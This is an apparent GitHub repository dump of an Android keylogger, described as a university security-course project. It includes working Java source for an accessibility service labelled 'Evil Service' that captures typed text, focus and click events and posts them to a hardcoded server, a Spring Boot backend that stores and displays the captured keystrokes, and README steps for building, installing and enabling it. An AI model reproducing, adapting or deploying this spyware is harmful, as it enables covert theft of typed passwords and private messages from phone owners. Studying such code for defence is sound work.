├── .gitignore ├── LICENSE ├── README.md ├── diagrams ├── Keylogger.png └── Keylogger.puml ├── keylogapp ├── .gitignore ├── README.md ├── app │ ├── .gitignore │ ├── build.gradle │ ├── proguard-rules.pro │ └── src │ │ ├── androidTest │ │ └── java │ │ │ └── com │ │ │ └── maemresen │ │ │ └── infsec │ │ │ └── keylogapp │ │ │ └── ExampleInstrumentedTest.java │ │ ├── main │ │ ├── AndroidManifest.xml │ │ ├── java │ │ │ └── com │ │ │ │ └── maemresen │ │ │ │ └── infsec │ │ │ │ └── keylogapp │ │ │ │ ├── KeyLogger.java │ │ │ │ ├── MainActivity.java │ │ │ │ ├── model │ │ │ │ └── KeyLog.java │ │ │ │ └── util │ │ │ │ ├── DateTimeHelper.java │ │ │ │ └── Helper.java │ │ └── res │ │ │ ├── drawable-v24 │ │ │ └── ic_launcher_foreground.xml │ │ │ ├── drawable │ │ │ └── ic_launcher_background.xml │ │ │ ├── layout │ │ │ └── activity_main.xml │ │ │ ├── mipmap-anydpi-v26 │ │ │ ├── ic_launcher.xml │ │ │ └── ic_launcher_round.xml │ │ │ ├── mipmap-hdpi │ │ │ ├── ic_launcher.png │ │ │ └── ic_launcher_round.png │ │ │ ├── mipmap-mdpi │ │ │ ├── ic_launcher.png │ │ │ └── ic_launcher_round.png │ │ │ ├── mipmap-xhdpi │ │ │ ├── ic_launcher.png │ │ │ └── ic_launcher_round.png │ │ │ ├── mipmap-xxhdpi │ │ │ ├── ic_launcher.png │ │ │ └── ic_launcher_round.png │ │ │ ├── mipmap-xxxhdpi │ │ │ ├── ic_launcher.png │ │ │ └── ic_launcher_round.png │ │ │ ├── values │ │ │ ├── colors.xml │ │ │ ├── strings.xml │ │ │ └── styles.xml │ │ │ └── xml │ │ │ └── accessibility_service_config.xml │ │ └── test │ │ └── java │ │ └── com │ │ └── maemresen │ │ └── infsec │ │ └── keylogapp │ │ └── ExampleUnitTest.java ├── build.gradle ├── gradle.properties ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle └── keylogweb ├── .gitignore ├── README.md ├── pom.xml └── src └── main ├── java └── com │ └── maemresen │ └── infsec │ └── keylogweb │ ├── DateTimeHelper.java │ ├── KeylogwebApplication.java │ ├── controller │ └── PageController.java │ ├── entity │ └── KeyLog.java │ ├── model │ └── KeyLogModel.java │ ├── repository │ └── IKeyLogRepository.java │ ├── restcontroller │ └── KeyLogRestController.java │ └── service │ ├── IKeyLogService.java │ └── impl │ └── KeyLogServiceDatabaseImpl.java └── resources ├── application.yaml └── templates ├── fragments ├── footer.html └── header.html ├── home.html └── layouts └── layout.html /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .idea 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Mehmet Arif Emre Şen 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Android Keylogger 2 | 3 | This is a project implemented as Project for the Information Systems Security Course. The main idea is developing a basic key logger for android mobile devices. 4 | 5 | ## Modules 6 | * keylogapp => Basic Android Java Mobile Application that logs keys 7 | * keylogweb => Spring Boot Web Application that receives logged keys 8 | 9 | ## How It Works 10 | ![Keylogger.png](./diagrams/Keylogger.png) 11 | 12 | ## Usage 13 | 1. Deploy `keylogweb` application 14 | * NOTE: your andorid phone must have access to the server that web application running via network or internet etc. 15 | * You can directly start with following command: 16 | ```bash 17 | mvn clean package spring-boot:run 18 | ``` 19 | 2. Prepare `keylogapp` for deployment 20 | 1. [Go To KeyLogger.java](https://github.com/maemresen/android-keylogger/blob/main/keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/KeyLogger.java) 21 | 2. Find the following line 22 | ``` 23 | sendLog("http://192.168.1.37:8080/keylog/save", keyLog); 24 | ``` 25 | 1. Replace `192.168.1.37` with the IP of the machine that you deploy `keylogweb` 26 | 3. Build APK and Install it on your Android Device 27 | 4. You should enable `Evil Service` which listens key press and send them to the server 28 | * after installed the App, you have to open Accessibility settings. (A button named `Evil Service` is added as a shortcut to directly jump accesibility settings.) Then at the bottom of the page, you will see `Evil Service` under Downloaded Services. You should enable Evil Service from there. Then it will works. 29 | 5. You can check your browser and you will see that each key-press on your Android phone will be printed to the web-page. \ 30 | **! Hint:** Do not forget to refresh browser manually. Auto-refresh feature not implemented :) 31 | -------------------------------------------------------------------------------- /diagrams/Keylogger.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/diagrams/Keylogger.png -------------------------------------------------------------------------------- /diagrams/Keylogger.puml: -------------------------------------------------------------------------------- 1 | @startuml 2 | title Keylogger 3 | 4 | actor user as "Standard User" 5 | participant "keylogapp" as mobile 6 | participant "keylogweb" as web 7 | database "Database" as db 8 | 9 | user -> mobile: Install App 10 | activate mobile 11 | user -> mobile: Enable **Evil Service** 12 | mobile -> mobile: **Listening Accessibility Events** \n TYPE_VIEW_TEXT_CHANGED \n TYPE_VIEW_FOCUSED \n TYPE_VIEW_CLICKED 13 | mobile -> mobile: Catch event 14 | 15 | activate web 16 | mobile -> web: Post Catched Event 17 | web -> db: Save Catched Event 18 | 19 | deactivate web 20 | deactivate mobile 21 | @enduml -------------------------------------------------------------------------------- /keylogapp/.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | .idea/* 5 | .DS_Store 6 | /build 7 | /captures 8 | .externalNativeBuild 9 | -------------------------------------------------------------------------------- /keylogapp/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maemresen/android-keylogger/bd0ba73e18e745b54d440725b50cb6fd60d4b292/keylogapp/README.md -------------------------------------------------------------------------------- /keylogapp/app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /keylogapp/app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 28 5 | defaultConfig { 6 | applicationId "com.maemresen.infsec.keylogapp" 7 | minSdkVersion 15 8 | targetSdkVersion 28 9 | versionCode 1 10 | versionName "1.0" 11 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 12 | } 13 | buildTypes { 14 | release { 15 | minifyEnabled false 16 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 17 | } 18 | } 19 | compileOptions { 20 | sourceCompatibility = '1.8' 21 | targetCompatibility = '1.8' 22 | } 23 | } 24 | 25 | dependencies { 26 | implementation fileTree(dir: 'libs', include: ['*.jar']) 27 | implementation 'com.android.support:appcompat-v7:28.0.0' 28 | implementation 'com.android.support.constraint:constraint-layout:1.1.3' 29 | implementation 'com.android.volley:volley:1.1.1' 30 | implementation 'com.android.support:design:28.0.0' 31 | 32 | testImplementation 'junit:junit:4.12' 33 | androidTestImplementation 'com.android.support.test:runner:1.0.2' 34 | androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2' 35 | } 36 | -------------------------------------------------------------------------------- /keylogapp/app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /keylogapp/app/src/androidTest/java/com/maemresen/infsec/keylogapp/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.maemresen.infsec.keylogapp; 2 | 3 | import android.content.Context; 4 | import android.support.test.InstrumentationRegistry; 5 | import android.support.test.runner.AndroidJUnit4; 6 | 7 | import org.junit.Test; 8 | import org.junit.runner.RunWith; 9 | 10 | import static org.junit.Assert.*; 11 | 12 | /** 13 | * Instrumented test, which will execute on an Android device. 14 | * 15 | * @see Testing documentation 16 | */ 17 | @RunWith(AndroidJUnit4.class) 18 | public class ExampleInstrumentedTest { 19 | @Test 20 | public void useAppContext() { 21 | // Context of the app under test. 22 | Context appContext = InstrumentationRegistry.getTargetContext(); 23 | 24 | assertEquals("com.maemresen.infsec.keylogapp", appContext.getPackageName()); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /keylogapp/app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 26 | 27 | 28 | 29 | 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/KeyLogger.java: -------------------------------------------------------------------------------- 1 | package com.maemresen.infsec.keylogapp; 2 | 3 | import android.accessibilityservice.AccessibilityService; 4 | import android.util.Log; 5 | import android.view.accessibility.AccessibilityEvent; 6 | 7 | import com.android.volley.AuthFailureError; 8 | import com.android.volley.RequestQueue; 9 | import com.android.volley.VolleyError; 10 | import com.android.volley.toolbox.JsonObjectRequest; 11 | import com.android.volley.toolbox.Volley; 12 | import com.maemresen.infsec.keylogapp.model.KeyLog; 13 | import com.maemresen.infsec.keylogapp.util.DateTimeHelper; 14 | 15 | import com.maemresen.infsec.keylogapp.util.Helper; 16 | import org.json.JSONObject; 17 | 18 | import java.util.Date; 19 | import java.util.LinkedHashMap; 20 | import java.util.Map; 21 | 22 | /** 23 | * @author Emre Sen, 14.05.2019 24 | * @contact maemresen07@gmail.com 25 | */ 26 | public class KeyLogger extends AccessibilityService { 27 | 28 | private final static String LOG_TAG = Helper.getLogTag(KeyLogger.class); 29 | @Override 30 | public void onServiceConnected() { 31 | Log.i(LOG_TAG, "Starting service"); 32 | } 33 | 34 | @Override 35 | public void onAccessibilityEvent(AccessibilityEvent event) { 36 | 37 | String uuid = Helper.getUuid(); 38 | Date now = DateTimeHelper.getCurrentDay(); 39 | String accessibilityEvent = null; 40 | String msg = null; 41 | 42 | switch (event.getEventType()) { 43 | case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: { 44 | accessibilityEvent = "TYPE_VIEW_TEXT_CHANGED"; 45 | msg = String.valueOf(event.getText()); 46 | break; 47 | } 48 | case AccessibilityEvent.TYPE_VIEW_FOCUSED: { 49 | accessibilityEvent = "TYPE_VIEW_FOCUSED"; 50 | msg = String.valueOf(event.getText()); 51 | break; 52 | } 53 | case AccessibilityEvent.TYPE_VIEW_CLICKED: { 54 | accessibilityEvent = "TYPE_VIEW_CLICKED"; 55 | msg = String.valueOf(event.getText()); 56 | break; 57 | } 58 | default: 59 | } 60 | 61 | if (accessibilityEvent == null) { 62 | return; 63 | } 64 | 65 | Log.i(LOG_TAG, msg); 66 | 67 | KeyLog keyLog = new KeyLog(); 68 | keyLog.setUuid(uuid); 69 | keyLog.setKeyLogDate(now); 70 | keyLog.setAccessibilityEvent(accessibilityEvent); 71 | keyLog.setMsg(msg); 72 | 73 | sendLog("http://192.168.1.29:8080/keylog/save", keyLog); 74 | } 75 | 76 | private Map getMap(KeyLog keyLog) throws IllegalAccessException { 77 | Map result = new LinkedHashMap<>(); 78 | result.put("uuid", keyLog.getUuid()); 79 | result.put("keyLogDate", DateTimeHelper.getTheDateInString(keyLog.getKeyLogDate())); 80 | result.put("accessibilityEvent", keyLog.getAccessibilityEvent()); 81 | result.put("msg", keyLog.getMsg()); 82 | return result; 83 | } 84 | 85 | 86 | private void sendLog(String uploadUrl, KeyLog keyLog) { 87 | 88 | try { 89 | RequestQueue requestQueue = Volley.newRequestQueue(this); 90 | JsonObjectRequest keyLogRequest = new JsonObjectRequest(uploadUrl 91 | , new JSONObject(getMap(keyLog)) 92 | , this::onResponse 93 | , this::onErrorResponse 94 | ); 95 | Log.i(LOG_TAG, String.valueOf(keyLogRequest.getHeaders())); 96 | Log.i(LOG_TAG, new String(keyLogRequest.getBody())); 97 | requestQueue.add(keyLogRequest); 98 | } catch (AuthFailureError | IllegalAccessException authFailureError) { 99 | authFailureError.printStackTrace(); 100 | } 101 | } 102 | 103 | private void onResponse(JSONObject response) { 104 | Log.i(LOG_TAG, "Response is : " + response); 105 | } 106 | 107 | private void onErrorResponse(VolleyError error) { 108 | Log.e(LOG_TAG, error.getMessage()); 109 | } 110 | 111 | @Override 112 | public void onInterrupt() { 113 | 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.maemresen.infsec.keylogapp; 2 | 3 | import android.app.AlertDialog; 4 | import android.content.DialogInterface; 5 | import android.content.Intent; 6 | import android.content.pm.PackageManager; 7 | import android.os.AsyncTask; 8 | import android.os.Build; 9 | import android.os.Looper; 10 | import android.provider.Settings; 11 | import android.support.design.widget.Snackbar; 12 | import android.support.v4.app.ActivityCompat; 13 | import android.support.v4.content.ContextCompat; 14 | import android.support.v7.app.AppCompatActivity; 15 | import android.os.Bundle; 16 | import android.util.Log; 17 | import android.view.View; 18 | import android.widget.Button; 19 | import com.maemresen.infsec.keylogapp.util.Helper; 20 | 21 | import java.io.DataOutputStream; 22 | 23 | import static android.Manifest.permission.ACCESS_FINE_LOCATION; 24 | import static android.Manifest.permission.INTERNET; 25 | import static android.Manifest.permission_group.CAMERA; 26 | 27 | public class MainActivity extends AppCompatActivity { 28 | 29 | private final static String LOG_TAG = Helper.getLogTag(MainActivity.class); 30 | 31 | private Button button; 32 | 33 | @Override 34 | protected void onCreate(Bundle savedInstanceState) { 35 | super.onCreate(savedInstanceState); 36 | setContentView(R.layout.activity_main); 37 | if (!checkPermission()) { 38 | requestPermission(); 39 | } 40 | button = findViewById(R.id.btn_settings); 41 | button.setOnClickListener(v -> { 42 | Intent openSettings = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS); 43 | openSettings.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY); 44 | startActivity(openSettings); 45 | }); 46 | } 47 | 48 | private static final int PERMISSION_REQUEST_CODE = 200; 49 | 50 | private boolean checkPermission() { 51 | int result = ContextCompat.checkSelfPermission(getApplicationContext(), INTERNET); 52 | return result == PackageManager.PERMISSION_GRANTED; 53 | } 54 | 55 | private void requestPermission() { 56 | ActivityCompat.requestPermissions(this, new String[]{INTERNET}, PERMISSION_REQUEST_CODE); 57 | } 58 | 59 | @Override 60 | public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) { 61 | switch (requestCode) { 62 | case PERMISSION_REQUEST_CODE: 63 | if (grantResults.length > 0) { 64 | boolean internetAccepted = grantResults[0] == PackageManager.PERMISSION_GRANTED; 65 | if (!internetAccepted) { 66 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { 67 | if (shouldShowRequestPermissionRationale(ACCESS_FINE_LOCATION)) { 68 | showMessageOKCancel("You need to allow access to both the permissions", 69 | (dialog, which) -> { 70 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { 71 | requestPermissions(new String[]{INTERNET}, 72 | PERMISSION_REQUEST_CODE); 73 | } 74 | }); 75 | return; 76 | } 77 | } 78 | 79 | } 80 | } 81 | 82 | 83 | break; 84 | } 85 | } 86 | 87 | private void showMessageOKCancel(String message, DialogInterface.OnClickListener okListener) { 88 | new AlertDialog.Builder(MainActivity.this) 89 | .setMessage(message) 90 | .setPositiveButton("OK", okListener) 91 | .setNegativeButton("Cancel", null) 92 | .create() 93 | .show(); 94 | } 95 | 96 | 97 | } 98 | -------------------------------------------------------------------------------- /keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/model/KeyLog.java: -------------------------------------------------------------------------------- 1 | package com.maemresen.infsec.keylogapp.model; 2 | 3 | import java.util.Date; 4 | 5 | /** 6 | * @author Emre Sen, 14.05.2019 7 | * @contact maemresen07@gmail.com 8 | */ 9 | public class KeyLog { 10 | 11 | private String uuid; 12 | private Date keyLogDate; 13 | private String accessibilityEvent; 14 | private String msg; 15 | 16 | 17 | public String getUuid() { 18 | return uuid; 19 | } 20 | 21 | public void setUuid(String uuid) { 22 | this.uuid = uuid; 23 | } 24 | 25 | public Date getKeyLogDate() { 26 | return keyLogDate; 27 | } 28 | 29 | public void setKeyLogDate(Date keyLogDate) { 30 | this.keyLogDate = keyLogDate; 31 | } 32 | 33 | public String getAccessibilityEvent() { 34 | return accessibilityEvent; 35 | } 36 | 37 | public void setAccessibilityEvent(String accessibilityEvent) { 38 | this.accessibilityEvent = accessibilityEvent; 39 | } 40 | 41 | public String getMsg() { 42 | return msg; 43 | } 44 | 45 | public void setMsg(String msg) { 46 | this.msg = msg; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/util/DateTimeHelper.java: -------------------------------------------------------------------------------- 1 | package com.maemresen.infsec.keylogapp.util; 2 | 3 | import java.text.ParseException; 4 | import java.text.SimpleDateFormat; 5 | import java.util.ArrayList; 6 | import java.util.Calendar; 7 | import java.util.Date; 8 | import java.util.List; 9 | import java.util.Locale; 10 | 11 | /** 12 | * Utility class for dateTime operations... 13 | * 14 | * @author mehmetkarakoc 15 | */ 16 | public class DateTimeHelper { 17 | 18 | /** 19 | * DateTime format for conversion... "'T'HH:mm:ss" may be added for the time 20 | * part... 21 | *

22 | * dateFormat definition for the calendar... 23 | *

24 | * Date date = formatter.parse(dateInString); 25 | *

26 | * "EEE dd/MM/yyyy" --- "dd/MM/yyyy" 27 | *

28 | * throws ParseException { 29 | */ 30 | private final static SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSZ"); 31 | 32 | /** 33 | * calendar definition... 34 | */ 35 | private final static Calendar calendar = Calendar.getInstance(new Locale("tr")); 36 | 37 | /** 38 | * retrieve today 39 | * 40 | * @return current day 41 | */ 42 | public static Date getCurrentDay() { 43 | 44 | Date date = new Date(); 45 | simpleDateFormat.format(date); 46 | return date; 47 | } 48 | 49 | /** 50 | * Get the date as a string value... 51 | * 52 | * @param baseDate given date 53 | * @return date in string format 54 | */ 55 | public static String getTheDateInString(Date baseDate) { 56 | 57 | if (baseDate == null) { 58 | return ""; 59 | } 60 | 61 | String dateString = simpleDateFormat.format(baseDate); 62 | 63 | return dateString == null ? "" : dateString; 64 | } 65 | 66 | public static Date getTheDateInDate(String baseDate) { 67 | 68 | if (baseDate == null) { 69 | return new Date(); 70 | } 71 | 72 | Date date = null; 73 | 74 | try { 75 | date = simpleDateFormat.parse(baseDate); 76 | 77 | } catch (ParseException e) { 78 | 79 | e.printStackTrace(); 80 | } 81 | 82 | return date == null ? new Date() : date; 83 | } 84 | 85 | /** 86 | * get the date for Monday in current week... 87 | * 88 | * @param date base date 89 | * @return first day of the week 90 | */ 91 | public static Date getMondayOfTheWeek(Date date) { 92 | return getDayOfTheWeek(date, 1); 93 | } 94 | 95 | public static String getFirstDayOfWeek(Date date) { 96 | return getTheDateInString(getMondayOfTheWeek(date)); 97 | } 98 | 99 | /** 100 | * get the date for Sunday in current week... 101 | * 102 | * @param date base date 103 | * @return last day of the week 104 | */ 105 | public static Date getSundayOfTheWeek(Date date) { 106 | return getDayOfTheWeek(date, 7); 107 | } 108 | 109 | public static String getLastDayOfWeek(Date date) { 110 | return getTheDateInString(getSundayOfTheWeek(date)); 111 | } 112 | 113 | /** 114 | * get Monday or Sunday of the current week using today... 115 | * 116 | * @param date 117 | * @param daySort 118 | * @return 119 | */ 120 | private static Date getDayOfTheWeek(Date date, int daySort) { 121 | 122 | calendar.setTime(date); 123 | 124 | if (daySort == 1) { 125 | 126 | // Set the calendar to MONDAY of the current week 127 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY); 128 | 129 | } else if (daySort == 7) { 130 | 131 | // Set the calendar to SUNDAY of the current week 132 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.SUNDAY); 133 | calendar.add(Calendar.DAY_OF_WEEK, 1); 134 | } 135 | 136 | return calendar.getTime(); 137 | } 138 | 139 | /** 140 | * get all the dates within this week starting on Monday... 141 | * 142 | * @return the days inside of the current week that we are in 143 | */ 144 | public static List getAllDaysOfTheWeek() { 145 | 146 | List dateList = new ArrayList(); 147 | 148 | calendar.setTime(new Date()); // What day is today? 149 | 150 | /** 151 | * from what day... 152 | */ 153 | calendar.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY); 154 | dateList.add(getTheDateInString(calendar.getTime())); 155 | 156 | /** 157 | * until the day Calendar.SUNDAY... 158 | */ 159 | for (int i = 1; i <= 6; i++) { 160 | 161 | calendar.add(Calendar.DAY_OF_WEEK, 1); 162 | dateList.add(getTheDateInString(calendar.getTime())); 163 | } 164 | 165 | return dateList; 166 | } 167 | 168 | /* Akif - FormattedDateBuilder */ 169 | 170 | public static String getFirstDayOfMonth(Date d) { 171 | Calendar calendar = Calendar.getInstance(); 172 | calendar.setTime(d); 173 | calendar.set(Calendar.DAY_OF_MONTH, 1); 174 | Date dddd = calendar.getTime(); 175 | SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd"); 176 | return sdf1.format(dddd); 177 | } 178 | 179 | public static String getLastDayOfMonth(Date d) { 180 | Calendar calendar = Calendar.getInstance(); 181 | calendar.setTime(d); 182 | calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMaximum(Calendar.DAY_OF_MONTH)); 183 | Date dddd = calendar.getTime(); 184 | SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd"); 185 | return sdf1.format(dddd); 186 | } 187 | 188 | public static int getNumericLastDayOfMonth(Date date) { 189 | Calendar calendar = Calendar.getInstance(); 190 | calendar.setTime(date); 191 | return calendar.getActualMaximum(Calendar.DAY_OF_MONTH); 192 | } 193 | 194 | public static int getCurrentWeekNumber() { 195 | return Calendar.getInstance().get(Calendar.WEEK_OF_YEAR); 196 | } 197 | 198 | public static int getYear() { 199 | return Calendar.getInstance().get(Calendar.YEAR); 200 | } 201 | } -------------------------------------------------------------------------------- /keylogapp/app/src/main/java/com/maemresen/infsec/keylogapp/util/Helper.java: -------------------------------------------------------------------------------- 1 | package com.maemresen.infsec.keylogapp.util; 2 | 3 | import java.util.UUID; 4 | 5 | /** 6 | * @author Emre Sen, 14.05.2019 7 | * @contact maemresen07@gmail.com 8 | */ 9 | public class Helper { 10 | 11 | private final static String APP_UUID = UUID.randomUUID().toString(); 12 | ; 13 | private final static String LOG_TAG_PREFIX = "KeyLogger"; 14 | 15 | public static String getLogTag(Class clazz) { 16 | return String.format("%s-%s", LOG_TAG_PREFIX, clazz.getSimpleName()); 17 | } 18 | 19 | public static String getUuid() { 20 | return APP_UUID; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /keylogapp/app/src/main/res/drawable-v24/ic_launcher_foreground.xml: -------------------------------------------------------------------------------- 1 | 7 | 12 | 13 | 19 | 22 | 25 | 26 | 27 | 28 | 34 | 35 | -------------------------------------------------------------------------------- /keylogapp/app/src/main/res/drawable/ic_launcher_background.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 10 | 15 | 20 | 25 | 30 | 35 | 40 | 45 | 50 | 55 | 60 | 65 | 70 | 75 | 80 | 85 | 90 | 95 | 100 | 105 | 110 | 115 | 120 | 125 | 130 | 135 | 140 | 145 | 150 | 155 | 160 | 165 | 170 | 171 | -------------------------------------------------------------------------------- /keylogapp/app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 10 |

14 | 15 | 16 | -------------------------------------------------------------------------------- /keylogweb/src/main/resources/templates/home.html: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 42 | 43 | 44 |
UUIDAccessibility EventMessageDate
38 | 39 | 40 | 41 |
45 | 46 |
47 | 48 | -------------------------------------------------------------------------------- /keylogweb/src/main/resources/templates/layouts/layout.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 |
22 |
23 |
24 | 25 | 26 |
27 | 28 | --------------------------------------------------------------------------------